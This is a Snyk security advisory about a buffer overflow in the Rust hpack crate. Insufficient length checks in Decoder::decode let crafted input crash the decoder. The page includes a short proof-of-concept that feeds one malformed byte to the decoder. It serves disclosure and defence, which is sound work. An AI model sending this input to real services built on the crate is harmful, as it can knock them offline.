Buffer Overflow Affecting hpack package, versions >=0.0.0


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-RUST-HPACK-6579599
  • published7 Apr 2024
  • disclosed5 Apr 2024
  • creditUnknown

Introduced: 5 Apr 2024

CVE-2024-51502  (opens in a new tab)
CWE-120  (opens in a new tab)

How to fix?

There is no fixed version for hpack.

Overview

hpack is a HPACK coder implementation

Affected versions of this package are vulnerable to Buffer Overflow due to insufficient length checks in Decoder::decode. An attacker can trigger a panic by decoding malicious data.

Note: A patch has been issued for this vulnerability on the hpack-patched project.

PoC

use hpack::Decoder;

pub fn main() {
  let input = &[0x3f];
  let mut decoder = Decoder::new();
  let _ = decoder.decode(input);
}

CVSS Scores

version 3.1